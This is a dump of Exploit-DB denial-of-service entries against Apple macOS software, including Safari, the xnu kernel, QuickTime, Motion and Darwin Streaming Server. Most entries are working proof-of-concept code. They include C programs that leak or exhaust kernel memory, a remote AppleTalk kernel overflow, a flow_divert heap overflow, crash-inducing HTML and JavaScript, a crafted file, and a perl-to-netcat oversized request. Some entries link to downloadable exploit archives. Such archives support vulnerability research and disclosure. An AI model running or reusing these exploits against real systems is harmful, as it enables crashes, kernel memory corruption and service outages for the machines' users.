deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1715
Description: Apple Mac OSX Safari 2.0.3 (417.9.2) - 'ROWSPAN' Denial of Service (PoC)
Type: dos
Platform: osx
Date: 2006-04-24
Author: Yannick von Arx

Exploit:
<!--
Apple Mac OS X Safari 2.0.3 Vulnerability
=========================================

Author: Yannick von Arx
Email:  yannick[dot]vonarx[at]yanux[dot]ch

Release Date:
April 23th, 2006

Vendor:
Apple Computer Inc.

Tested on:
iBook G4 1.2 GHz with Mac OS X 10.4.5 (Build 8H14) + all Updates from Apple except "10.4.6 Update"
iBook G4 1.33 GHz with Mac OS X 10.4.6 (Build 8I127) + all Updates from Apple
PowerMac G4 Dual 867 MHz with Mac OS X 10.4.6 (Build 8I127) + all Updates from Apple
iMac G4 800 MHz with Mac OS X 10.4.6 (Build 8I127) + all Updates from Apple

Versions affected:
Safari 2.0.3 (417.9.2) latest version under 10.4.5 (Build 8H14) and perhaps prior versions
Safari 2.0.3 (417.9.2) latest version under 10.4.6 (Build 8I127) and perhaps prior versions

Overview:
A vulnerabilitiy exists in Safari 2.0.3 (417.9.2) and perhaps in
prior versions which causes the operating system to slow down SRCOD
(Spinning Rainbow Cursor Of Death), and therefore, it's not possible
to launch any applications like Terminal to kill the process. After
several minutes Safari crashes.

Technical Details:
Create a new File with following code ... -->

<HTML>
<TABLE>
<TR><TD ROWSPAN=[PII_REDACTED]>

# milw0rm.com [2006-04-24]
Exploit-DB #1712
Description: Apple Mac OSX Safari 2.0.3 (417.9.2) - Multiple Vulnerabilities
Type: dos
Platform: osx
Date: 2006-04-24
Author: Tom Ferris

Exploit:
<!--- 
    Safari 2.0.3 (417.9.2) CELLSPACING Issue..
    
    Discovered by:
    Tom Ferris
    <tommy[at]security-protocols[dot]com>
    
    Tested on:
    Mac OS X 10.4.5 using Safari
    
    03/16/2006 Security-Protocols.com
    
    Advisory:
    http://www.security-protocols.com/advisory/sp-xxx
    
    This program is free software; you can redistribute it and/or modify it under 
    the terms of the GNU General Public License version 2, 1991 as published by
    the Free Software Foundation.
!-->

<TABLE COLSPEC=http:SECURITY-PROTOCOLS CELLSPACING=[PII_REDACTED]>
<OBJECT DATA=YIKES>

<!--- 
    Safari 2.0.3 (417.9.2) DoS
    
    Discovered by:
    Tom Ferris
    <tommy[at]security-protocols[dot]com>
    
    Tested on:
    Mac OS X 10.4.3 using Safari
    
    01/05/2006 Security-Protocols.com
    
    Starting program: /Applications/Safari.app/Contents/MacOS/Safari 
    Safari(320,0xa000ed68) malloc: *** vm_allocate(size=759734272) failed (error code=3)
    Safari(320,0xa000ed68) malloc: *** error: can't allocate region 
    Safari(320,0xa000ed68) malloc: *** set a breakpoint in szone_error to debug

    Program received signal EXC_BAD_ACCESS, Could not access memory.
    Reason: KERN_PROTECTION_FAILURE at address: 0x00000000
    0x959cbc98 in -[WebTextRenderer(WebInternal) _CG_drawRun:style:geometry:] ()
    
    This program is free software; you can redistribute it and/or modify it under 
    the terms of the GNU General Public License version 2, 1991 as published by
    the Free Software Foundation.
!-->
	
<LI VALUE=[PII_REDACTED] TYPE=A>

<!--- 
    Safari 2.0.3 (417.9.2) DoS
    
    Discovered by:
    Tom Ferris
    <tommy[at]security-protocols[dot]com>
    
    Tested on:
    Mac OS X 10.4.5 using Safari
    
    01/05/2006 Security-Protocols.com
    
    Advisory:
    http://www.security-protocols.com/advisory/sp-x24-advisory.php
    
    This program is free software; you can redistribute it and/or modify it under 
    the terms of the GNU General Public License version 2, 1991 as published by
    the Free Software Foundation.
!-->

<TABLE>
<FRAME SCROLLING= NAME=TOMFERRIS SRC= SCROLLING=>
<FRAMESET>

# milw0rm.com [2006-04-24]
Exploit-DB #8263
Description: Apple Mac OSX xnu 1228.3.13 - 'macfsstat' Local Kernel Memory Leak/Denial of Service
Type: dos
Platform: osx
Date: 2009-03-23
Author: mu-b

Exploit:
/* xnu-macfsstat-leak.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS POC
 * by mu-b - Sun 13 Apr 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>

#define LEAK_BUFBYTES(a) (sizeof (struct statfs)*a)
#define LEAK_MACBYTES(a) (sizeof (int)*a)

struct __mac_getfsstat {
  char *buf;   char _pad[4];
  int bufsize; char __pad[4];
  char *mac;   char ___pad[4];
  int macsize; char ____pad[4];
  int flags;   char _____pad[4];
};

int
main (int argc, char **argv)
{
  struct __mac_getfsstat req;
  int i, n;

  printf ("Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  memset (&req, 0, sizeof req);
  req.buf = (char *) 0xDEADBEEF;
  req.bufsize = LEAK_BUFBYTES (65536 * 64);
  req.mac = (char *) 0xDEADBEEF;
  req.macsize = LEAK_MACBYTES (65536 * 64);

  for (i = 0; i < 2; i++)
    {
      if ((n = syscall (SYS___mac_getfsstat, req.buf, req.bufsize, req.mac, req.macsize, req.flags)) < 0)
        {
          fprintf (stderr, "leaked %lu-bytes of kernel memory!\n", LEAK_MACBYTES (65536 * 64));
        }
    }

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-03-23]
Exploit-DB #8264
Description: Apple Mac OSX xnu 1228.3.13 - 'Profil' Kernel Memory Leak/Denial of Service (PoC)
Type: dos
Platform: osx
Date: 2009-03-23
Author: mu-b

Exploit:
/* xnu-profil-leak.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS POC
 * by mu-b - Sat 16 Feb 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

/* profil defines */
#define PROFIL_LEAK_NUM   65536 * 128

int
main (int argc, char **argv)
{
  char buf[1024];
  int i, n;

  printf ("Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  printf ("* opening profil, pid: %d...", getpid ());
  if ((n = syscall (SYS_profil, &buf, sizeof buf, 0, 1)) < 0)
    {
      fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n",
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("* filling %d-bytes of kernel memory...\n", PROFIL_LEAK_NUM * 32);
  fflush (stdout);

  for (i = 0; i < PROFIL_LEAK_NUM; i++)
    {
      if ((n = syscall (SYS_add_profil, &buf, sizeof buf, 0, 1)) < 0)
        {
          fprintf (stderr, "\n%s: syscall [SYS_add_profil]: failed: %d\n",
                   argv[0], n);
          exit (EXIT_FAILURE);
        }
      printf ("** %d-bytes filled\r",  i * 32);
    }
  printf ("\n* done\n");

  while (1)
    sleep (1);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-03-23]
Exploit-DB #8262
Description: Apple Mac OSX xnu 1228.3.13 - 'zip-notify' Remote Kernel Overflow (PoC)
Type: dos
Platform: osx
Date: 2009-03-23
Author: mu-b

Exploit:
/* xnu-appletalk-zip.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.3.13 appletalk zip-notify remote kernel overflow PoC
 * by mu-b - Sun 13 Apr 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 * Compile: gcc -Wall xnu-appletalk-zip.c /usr/lib/libatalk.a -o xnu-appletalk-zip
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#include <netatalk/endian.h>
#include <netatalk/at.h>
#include <atalk/netddp.h>
#include <atalk/ddp.h>
#include <atalk/zip.h>
#include <atalk/util.h>

int
main (int argc, char **argv)
{
  struct sockaddr_at daddr, saddr;
  char *p, buf[1024];
  int fd, zlen;

  printf ("Apple MACOS X xnu <= 1228.3.13 appletalk zip-notify remote kernel overflow PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  if (argc < 3)
    {
      fprintf (stderr, "Usage: %s <dst addr> <zone> [src addr]\n", argv[0]);
      exit (EXIT_FAILURE);
    }

  if (!atalk_aton (argv[1], &daddr.sat_addr))
    {
      fprintf (stderr, "* dst address: atalk_aton failed\n");
      exit (EXIT_FAILURE);
    }

  if (argc > 3)
    {
      if (!atalk_aton (argv[3], &saddr.sat_addr))
        {
          fprintf (stderr, "* src address: atalk_aton failed\n");
          exit (EXIT_FAILURE);
        }
    }

  daddr.sat_family = AF_APPLETALK;
  daddr.sat_port = 6;

  if ((fd = netddp_open (argc > 3 ? &saddr
                                  : NULL, NULL)) < 0)
    {
      fprintf (stderr, "* netddp_open failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("Appletalk dst: %s, ", argv[1]);
  if (argc > 3)
    printf ("src: %s, ", argv[3]);
  printf ("zone: %s... ", argv[2]);

  p = buf;
  *p++ = DDPTYPE_ZIP;
  *p++ = ZIPOP_NOTIFY;  /* ZIP NOTIFY   */
  *p++ = 0x00;

  *p++ = 0x00;          /* pad          */
  *p++ = 0x00;
  *p++ = 0x00;
  *p++ = 0x00;

  zlen = strlen (argv[2]);
  *p++ = zlen;
  memcpy (p, argv[2], zlen);
  p += zlen;

  *p++ = 0x80;          /* >= 0x80 sign extended :(
                         * <  0x80 not enough to hit anything useful,
                         *         except maybe ifPort...
                         */
  memset (p, 0x41, 0x80);
  p += 0x80;

  if (netddp_sendto (fd, buf, p - buf, 0, (struct sockaddr *) &daddr,
                                          sizeof (struct sockaddr_at)) < 0)
    {
      fprintf (stderr, "* netddp_sendto failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-03-23]
Exploit-DB #8265
Description: Apple Mac OSX xnu 1228.x - 'vfssysctl' Local Kernel Denial of Service (PoC)
Type: dos
Platform: osx
Date: 2009-03-23
Author: mu-b

Exploit:
/* xnu-vfssysctl-dos.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.x local kernel DoS POC
 * by mu-b - Wed 19 Nov 2008
 *
 * - Tested on: Apple MACOS X 10.5.5 (xnu-1228.8.20~1/RELEASE_I386)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <hfs/hfs_mount.h>
#include <pthread.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <unistd.h>

void
hammer (void *arg)
{
  char buf[1024 * (255 + 1)];
  int n, name[6];

  memset (buf, 0, sizeof buf);

  while (1)
    {
      name[0] = CTL_VFS;
      name[1] = 17;
      name[2] = HFS_SET_PKG_EXTENSIONS;
      name[3] = (int) buf;
      name[4] = 1024;
      name[5] = (rand () % 254) + 1;
      n = sysctl (name, 6, NULL, NULL, NULL, 0);

      usleep(10);
    }
}

int
main (int argc, char **argv)
{
  int i, n, tid;

  printf ("Apple MACOS X xnu <= 1228.x local kernel DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  for (i = 0; i < 4; i++)
    {
      n = pthread_create (&tid, NULL, hammer, NULL);
      if (n < 0)
        {
          fprintf (stderr, "failed creating hammer thread\n");
          return (EXIT_FAILURE);
        }
    }

  while (1)
    sleep (1);

  /* not reached! */
  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-03-23]
Exploit-DB #28811
Description: Apple Motion 5.0.7 - Integer Overflow
Type: dos
Platform: osx
Date: 2013-10-08
Author: Jean Pascal Pereira

Exploit:
Apple Motion Integer Overflow Vulnerability
===========================================

Vendor: Apple (http://www.apple.com)
Software: Motion 5.0.7
Testcase verified on: OS X 10.8

Credit: Jean Pascal Pereira <pereira@secbiz.de>

DESCRIPTION
===========

An integer overflow vulnerability has been identified in Apple Motion. The issue has been verified for Motion 5.0.7 (current release). Prior versions may also be affected. 

An attacker has the possibility to provide a crafted .motn file containing a viewer element with a subview attribute. If the subview attribute is set to a very low or high integer value, the application crashes due an access violation.

Debug message:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x00000002dd6e0990
0x[PII_REDACTED]858eb7 in OZDocument::parseElement ()

The crash is triggered in the function OZDocument::parseElement() at the following instruction:

(gdb) x/i 0x[PII_REDACTED]858eb7 
0x100858eb7 <_ZN10OZDocument12parseElementER22PCSerializerReadStreamR15PCStreamElement+695>:  mov rsi, QWORD PTR [rbx+rax*8+0x98]

The value of rax is controlled by the attacker (in this case, the rax register contains the integer 989894991 which is provided in the PoC below). 

(gdb) p $rax
$16 = 989894991

(gdb) p/x $rbx+($rax*8)+0x98
$1 = 0x2dd6e0990

PROOF OF CONCEPT
================

Create a .motn file with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ozxmlscene>
<ozml version="5.5">
<viewer subview="989894991">
</viewer>
</ozml>

DISCLOSURE TIMELINE
===================
2013/09/18: Vendor notified
2013/10/07: Public disclosure
Exploit-DB #44238
Description: Apple OS X Yosemite - 'flow_divert-heap-overflow' Kernel Panic
Type: dos
Platform: osx
Date: 2017-01-10
Author: Brandon Azad

Exploit:
/*
 * flow_divert-heap-overflow.c
 * Brandon Azad
 *
 * CVE-2016-1827: Kernel heap overflow in the function flow_divert_handle_app_map_create on OS X
 * and iOS. Exploitation requires root privileges. The vulnerability was patched in OS X El Capitan
 * 10.11.5 and iOS 9.3.2.
 *
 * This proof-of-concept triggers a kernel panic on OS X Yosemite. In El Capitan the length fields
 * were changed from 64 bits to 32 bits, so the message structure will need to be updated
 * accordingly. This exploit has not been tested on iOS.
 * 
 * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44238.zip
 */

#include <net/if.h>
#include <string.h>
#include <sys/sys_domain.h>
#include <sys/kern_control.h>
#include <sys/ioctl.h>
#include <unistd.h>

int main() {
	int ctlfd = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
	if (ctlfd == -1) {
		return 1;
	}
	struct ctl_info info = { .ctl_id = 0 };
	strncpy(info.ctl_name, "com.apple.flow-divert", sizeof(info.ctl_name));
	int err = ioctl(ctlfd, CTLIOCGINFO, &info);
	if (err) {
		return 2;
	}
	struct sockaddr_ctl addr = {
		.sc_len     = sizeof(addr),
		.sc_family  = AF_SYSTEM,
		.ss_sysaddr = AF_SYS_CONTROL,
	};
	addr.sc_id = info.ctl_id;
	addr.sc_unit = 0;
	err = connect(ctlfd, (struct sockaddr *)&addr, sizeof(addr));
	if (err) {
		return 3;
	}
	struct __attribute__((packed)) {
		uint8_t  type;
		uint8_t  pad1[3];
		uint32_t conn_id;
		uint8_t  prefix_count_tag;
		uint64_t prefix_count_length;
		int      prefix_count;
		uint8_t  signing_id_tag;
		uint64_t signing_id_length;
		uint8_t  signing_id[512 + 4];
	} message = {
		.type                = 9,
		.conn_id             = htonl(0),
		.prefix_count_tag    = 28,
		.prefix_count_length = htonl(sizeof(int)),
		.prefix_count        = -2,
		.signing_id_tag      = 25,
		.signing_id_length   = htonl(sizeof(message.signing_id)),
		.signing_id          = { 0xaa },
	};
	write(ctlfd, &message, sizeof(message));
	close(ctlfd);
	return 4;
}
Exploit-DB #20844
Description: Apple Personal Web Sharing 1.1/1.5/1.5.5 - Remote Denial of Service
Type: dos
Platform: osx
Date: 2001-05-10
Author: Jass Seljamaa

Exploit:
source: https://www.securityfocus.com/bid/2715/info


Apple Personal Web Sharing is a utility that allows users to extend file-sharing abilities across a small intranet. It is shipped with MacOS 9.

A user may craft a URL which contains excess characters to cause the file-sharing system to shut down.

The file sharing system must then be restarted to regain its functionality once again.

http://fileserver/?aaaaaaaaa... [approx. 6000 characters]
Exploit-DB #39839
Description: Apple QuickTime - '.mov' Parsing Memory Corruption
Type: dos
Platform: osx
Date: 2016-05-19
Author: Francis Provencher

Exploit:
#####################################################################################

Application: Apple Quicktime

Platforms: OSX

Author: Francis Provencher of COSIG

Website: http://www.protekresearchlab.com/

Twitter: @COSIG_ @protekresearch

CVE-2016-1848

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

QuickTime is an extensible multimedia framework developed by Apple Inc., capable of handling various formats of digital video, picture, sound, panoramic images, and interactivity. The classic version of QuickTime is available for Windows Vista and later, as well as Mac OS X Leopard and later operating systems. A more recent version, QuickTime X, is currently available on Mac OS X Snow Leopard and newer.

(https://en.wikipedia.org/wiki/QuickTime)

#####################################################################################

============================
2) Report Timeline
============================

2016-03-14: Francis Provencher from COSIG report issue to Apple security team;
2016-03-21: Apple security team  confirmed this issue;
2016-05-17: Apple fixed this issue;

https://support.apple.com/en-us/HT206567
#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime.

User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of invalid data in the mdat atom. An attacker can use this flaw to read outside the

allocated buffer, which could allow for the execution of arbitrary code in the context of the current process.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2016-19.mov
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39839.zip

###############################################################################
Exploit-DB #28521
Description: Apple QuickTime 6/7 - '.FLC' Movie COLOR_64 Chunk Overflow
Type: dos
Platform: osx
Date: 2006-09-12
Author: Sowhat

Exploit:
source: https://www.securityfocus.com/bid/19976/info

Apple QuickTime is prone to multiple vulnerabilities because it fails to properly bounds-check and sanitize user-supplied data.

An attacker can exploit these issues to execute arbitrary code in the context of the victim user running the vulnerable application. Successful exploits may facilitate a remote compromise of affected computers.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28521.zip
Exploit-DB #22629
Description: Apple QuickTime/Darwin Streaming Server 4.1.3 QTSSReflector Module - Integer Overflow
Type: dos
Platform: osx
Date: 2003-05-22
Author: Sir Mordred

Exploit:
source: https://www.securityfocus.com/bid/7659/info

A vulnerability has been reported for Apple QuickTime/Darwin Streaming Server. The problem is said to occur within the QTSSReflector module while processing the ANNOUNCE command. Specifically, by specifying an extremely large value as an argument within an ANNOUNCE request, it is possible to trigger an unexpected calculation causing the server to crash.

Although it has not been confirmed, it is speculated that this issue may be exploitable to corrupt memory. 

$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-length:[PII_REDACTED]\n\n","A"x8192' | nc -v localhost 554
Exploit-DB #26128
Description: Apple Safari 1.3 Web Browser - JavaScript Invalid Address Denial of Service
Type: dos
Platform: osx
Date: 2005-08-09
Author: Patrick Webster

Exploit:
source: https://www.securityfocus.com/bid/14528/info

Apple Safari Web Browser is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs certain JavaScript operations.

The exact cause of this issue is currently unknown. This BID will be updated as further information is disclosed.

This vulnerability allows remote attackers to crash affected Web browsers by causing an invalid memory access exception.

Safari version 1.3 is reported susceptible to this issue. Other versions may also be affected. 

<html>
<script name="JavaScript">
<!--

function tickTock()
{
setTimeout("tickTock()", 1000);
thisTime = new Date()
seconds = thisTime.getSeconds()
document.write(seconds);
}

// -->
</script>

<body onLoad="tickTock();">
</html>
Exploit-DB #23793
Description: Apple Safari 1.x - Large JavaScript Array Handling Denial of Service
Type: dos
Platform: osx
Date: 2004-03-06
Author: kang

Exploit:
source: https://www.securityfocus.com/bid/9815/info

Apple Safari Web Browser is reported to be prone to a security vulnerability related to handling of large JavaScript arrays (with[PII_REDACTED][PII_REDACTED]999 or 0x23000000 elements). By declaring such an array and then attempting to access it, it may be possible to cause a browser crash.

This issue is likely due to memory corruption but it is not known if it could be further exploitable to execute arbitrary code.

var a = new Array[PII_REDACTED][PII_REDACTED]999);
a[0+5]="AAAAA";

and:
var bam = new Array(0x23000000);
bam.sort(new Function("return 1"));
Exploit-DB #26271
Description: Apple Safari 1.x/2.0.1 - Data URI Memory Corruption
Type: dos
Platform: osx
Date: 2005-09-17
Author: Jonathan Rockway

Exploit:
source: https://www.securityfocus.com/bid/14868/info

Apple Safari is prone to a memory corruption vulnerability. This issue is exposed when the browser opens specific 'data:' URIs, causing the browser to crash.

Though unconfirmed, this vulnerability could be exploitable to execute arbitrary code.

data://<h1>crash</h1>
data://<h>/<
Exploit-DB #29007
Description: Apple Safari 2.0.4 - JavaScript Regular Expression Match Remote Denial of Service
Type: dos
Platform: osx
Date: 2006-11-14
Author: jbh_cg

Exploit:
source: https://www.securityfocus.com/bid/21053/info

Apple Safari web browser is prone to a denial-of-service vulnerability when executing certain JavaScript code.

An attacker can exploit this issue to crash an affected browser. Presumably, this issue may also result in remote code execution, but this has not been confirmed.

Apple Safari 2.0.4 is vulnerable to this issue; other versions may also be affected.

<script> var reg = /(.)*/; var z = 'Z'; while (z.length <= 8192) z+=z; var boum = reg.exec(z); </script>